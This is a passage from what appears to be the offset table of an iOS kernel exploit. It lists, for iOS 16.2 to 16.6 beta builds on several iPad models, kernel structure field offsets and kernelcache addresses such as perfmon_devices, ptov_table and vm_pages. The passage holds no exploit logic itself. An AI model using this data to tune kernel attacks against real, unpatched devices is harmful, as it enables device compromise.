.thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a23dab0,\n          .kernelcache__gPhysBase = 0xfffffff0078dc288,\n          .kernelcache__gPhysSize = 0xfffffff0078dc288 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078da440,\n          .kernelcache__perfmon_devices = 0xfffffff00a27d530,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e7e434,\n          .kernelcache__ptov_table = 0xfffffff00788f9a0,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a27c910,\n          .kernelcache__vm_pages = 0xfffffff00788c0f8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff00788e950,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a27c908,\n          .kernelcache__vn_kqfilter = 0xfffffff007eccc44,\n      },\n\n  // iPad Gen 8th, Cell, Data //\n          {\n          .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20C65\",\n          .device_id = \"iPad11,7\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a0e1178,\n          .kernelcache__gPhysBase = 0xfffffff0077ebc60,\n          .kernelcache__gPhysSize = 0xfffffff0077ebc60 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0077e9e40,\n          .kernelcache__perfmon_devices = 0xfffffff00a11c380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e3b3ac,\n          .kernelcache__ptov_table = 0xfffffff00779f248,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a11b800,\n          .kernelcache__vm_pages = 0xfffffff00779c080,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff00779e208,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a11b7f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007e8da44,\n      },\n\n      // iOS 16.3\n          {\n          .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20D47\",\n          .device_id = \"iPad11,7\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a0e1178,\n          .kernelcache__gPhysBase = 0xfffffff0077e7d48,\n          .kernelcache__gPhysSize = 0xfffffff0077e7d48 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0077e5f28,\n          .kernelcache__perfmon_devices = 0xfffffff00a11c380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e37398,\n          .kernelcache__ptov_table = 0xfffffff00779b288,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a11b800,\n          .kernelcache__vm_pages = 0xfffffff0077980c0,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff00779a248,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a11b7f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007e89a20,\n      },\n\n      // iOS 16.3.1\n          {\n          .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20D67\",\n          .device_id = \"iPad11,7\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a0e1178,\n          .kernelcache__gPhysBase = 0xfffffff0077e7d48,\n          .kernelcache__gPhysSize = 0xfffffff0077e7d48 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0077e5f28,\n          .kernelcache__perfmon_devices = 0xfffffff00a11c380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e37398,\n          .kernelcache__ptov_table = 0xfffffff00779b288,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a11b800,\n          .kernelcache__vm_pages = 0xfffffff0077980c0,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff00779a248,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a11b7f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007e89a20,\n      },\n\n      // iOS 16.4\n          {\n          .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20E246\",\n          .device_id = \"iPad11,7\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a19d208,\n          .kernelcache__gPhysBase = 0xfffffff0078c3fa0,\n          .kernelcache__gPhysSize = 0xfffffff0078c3fa0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078c2178,\n          .kernelcache__perfmon_devices = 0xfffffff00a1db500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e55a88,\n          .kernelcache__ptov_table = 0xfffffff007877160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1da990,\n          .kernelcache__vm_pages = 0xfffffff007873ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff007876110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1da988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ea463c,\n      },\n\n          // iOS 16.4.1\n          {\n          .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20E252\",\n          .device_id = \"iPad11,7\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a19d208,\n          .kernelcache__gPhysBase = 0xfffffff0078c3fa0,\n          .kernelcache__gPhysSize = 0xfffffff0078c3fa0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078c2178,\n          .kernelcache__perfmon_devices = 0xfffffff00a1db500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e55a88,\n          .kernelcache__ptov_table = 0xfffffff007877160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1da990,\n          .kernelcache__vm_pages = 0xfffffff007873ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff007876110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1da988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ea463c,\n      },\n\n      // iOS 16.5\n          {\n          .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20F66\",\n          .device_id = \"iPad11,7\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a1a5288,\n          .kernelcache__gPhysBase = 0xfffffff0078c80e0,\n          .kernelcache__gPhysSize = 0xfffffff0078c80e0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078c62b8,\n          .kernelcache__perfmon_devices = 0xfffffff00a1e3500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e59c8c,\n          .kernelcache__ptov_table = 0xfffffff00787b160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1e2990,\n          .kernelcache__vm_pages = 0xfffffff007877ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff00787a110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1e2988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ea8ad8,\n      },\n\n      // iOS 16.6b1\n      {\n          .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n          .build_version = \"20G5026e\",\n          .device_id = \"iPad11,7\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a23dab0,\n          .kernelcache__gPhysBase = 0xfffffff0078dc288,\n          .kernelcache__gPhysSize = 0xfffffff0078dc288 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078da440,\n          .kernelcache__perfmon_devices = 0xfffffff00a27d530,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e7e434,\n          .kernelcache__ptov_table = 0xfffffff00788f9a0,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a27c910,\n          .kernelcache__vm_pages = 0xfffffff00788c0f8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff00788e950,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a27c908,\n          .kernelcache__vn_kqfilter = 0xfffffff007eccc44,\n      },\n\n          \n        // iPad Mini 5th Gen Wifi//\n        // iOS 16.2\n            {\n                .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20C65\",\n                .device_id = \"iPad11,1\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // 